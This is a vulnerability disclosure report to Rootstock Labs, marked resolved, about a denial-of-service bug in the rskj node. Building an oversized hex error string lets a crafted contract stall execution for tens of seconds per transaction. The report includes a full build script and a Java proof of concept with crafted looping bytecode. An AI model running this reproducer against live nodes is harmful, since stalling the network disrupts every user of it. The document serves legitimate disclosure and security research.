Crafted smart contract can take ~23 seconds to execute due to immense error string construction
Medium
R
Rootstock Labs
Submitted None
Actions:
Reported by
guido
Vulnerability Details
Technical details and impact analysis
Calling the native contract (`rskj-core/src/main/java/co/rsk/pcc/NativeContract.java`) with an invalid, large input (1081344 bytes -- I experimentally determined that this is about the slowest I can go) in an infinite loop (until gas runs out) takes about 70 seconds on my machine (I assume ~23 seconds on your machine). (Slightly faster than https://hackerone.com/reports/2489843).
The cause of the issue is that `NativeContract.execute` constructs the entirety of the input message as a hex string for logging and throwing an exception: https://github.com/rsksmart/rskj/blob/e130ef722ca87eb881d4da435b30ec23f8fee15a/rskj-core/src/main/java/co/rsk/pcc/NativeContract.java#L122
```cpp
String errorMessage = String.format("Invalid data given: %s.", ByteUtil.toHexString(data));
```
If you change this to (for the sake of demonstration):
```cpp
String errorMessage = String.format("Invalid data given: %s.", "");
```
The reproducer finishes in about 4.4 seconds (on my machine).
The reproducer below disables logging; if this is enabled by default on production nodes, it will presumably take even longer.
```sh
wget -q https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz
tar zxf openjdk-11.0.2_linux-x64_bin.tar.gz
export JAVA_HOME=$(realpath jdk-11.0.2/)
git clone --depth 1 https://github.com/rsksmart/rskj.git
cd rskj/
echo "task testJar(type: Jar) {" >>rskj-core/build.gradle
echo " from sourceSets.test.output" >>rskj-core/build.gradle
echo " classifier = 'tests'" >>rskj-core/build.gradle
echo "}" >>rskj-core/build.gradle
echo "assemble.dependsOn(testJar)" >>rskj-core/build.gradle
./configure.sh
# Disable logging
echo """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<configuration>
<root level=\"OFF\">
</root>
</configuration>""" >rskj-core/src/test/resources/logback.xml
# Build rskj
./gradlew assemble
# Construct reproducer
echo """
import co.rsk.config.TestSystemProperties;
import co.rsk.config.VmConfig;
import java.util.HashSet;
import javax.xml.bind.DatatypeConverter;
import co.rsk.test.builders.AccountBuilder;
import co.rsk.test.builders.TransactionBuilder;
import org.ethereum.config.blockchain.upgrades.ActivationConfig;
import org.ethereum.config.blockchain.upgrades.ActivationConfigsForTest;
import org.ethereum.core.BlockFactory;
import org.ethereum.core.BlockTxSignatureCache;
import org.ethereum.core.ReceivedTxSignatureCache;
import org.ethereum.vm.*;
import org.ethereum.vm.program.Program;
import org.ethereum.vm.program.invoke.ProgramInvokeMockImpl;
import org.ethereum.core.Account;
import org.ethereum.core.Transaction;
import java.math.BigInteger;
public class Poc {
static private final TestSystemProperties config = new TestSystemProperties();
static private final PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
static private final BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
static private VmConfig vmConfig = config.getVmConfig();
static private ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
static private ActivationConfig.ForBlock activations = ActivationConfigsForTest.lovell700().forBlock(0);
private static Transaction createTransaction() {
int number = 0;
AccountBuilder acbuilder = new AccountBuilder();
acbuilder.name(\"sender\" + number);
Account sender = acbuilder.build();
acbuilder.name(\"receiver\" + number);
Account receiver = acbuilder.build();
TransactionBuilder txbuilder = new TransactionBuilder();
return txbuilder.sender(sender).receiver(receiver).value(BigInteger.valueOf(1000)).build();
}
public static void main(String[] args) {
TestSystemProperties config = new TestSystemProperties();
PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
VmConfig vmConfig = config.getVmConfig();
ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
ActivationConfig.ForBlock activations = ActivationConfigsForTest.arrowhead600().forBlock(0);
invoke.setGas(6800000); /* block limit */
byte[] code = DatatypeConverter.parseHexBinary(
\"5b6000600062108000600063010000095afa50600056\");
VM vm = new VM(vmConfig, precompiledContracts);
Transaction transaction = createTransaction();
Program program = new Program(vmConfig, precompiledContracts, blockFactory, activations, code, invoke, transaction, new HashSet<>(), new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
try {
while (!program.isStopped())
vm.step(program);
} catch (RuntimeException e) {
program.setRuntimeFailure(e);
}
}
}""" >Poc.java
# Build reproducer
$JAVA_HOME/bin/javac -cp rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-all.jar Poc.java
# Run reproducer
time $JAVA_HOME/bin/java -cp .:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-tests.jar:rskj-core/build/libs/rskj-core-6.3.0-SNAPSHOT-all.jar Poc
```
I will only submit one bug at a time. The sooner a bounty is rewarded, the sooner I will submit more bugs.
Thanks.
## Impact
Stall the network.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Uncontrolled Resource Consumption